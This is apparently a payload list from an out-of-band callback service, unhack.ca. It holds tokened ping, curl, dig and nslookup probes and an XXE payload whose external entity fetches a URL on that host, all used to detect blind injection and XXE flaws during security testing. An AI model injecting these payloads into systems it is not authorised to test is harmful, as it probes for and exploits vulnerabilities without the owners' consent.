$ ping -c1 -p 004a77e8c45841914fbb874768d07100 unhack.ca
 

$ curl http://unhack.ca/p/4a77e8c45841914fbb874768d071
 

$ dig 4a77e8c45841914fbb874768d071 @unhack.ca
 

$ dig 4a77e8c45841914fbb874768d071.ns.unhack.ca
 

C:\> nslookup 4a77e8c45841914fbb874768d071 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4a77e8c45841914fbb874768d071">]>
    <foo>&xxe;</foo>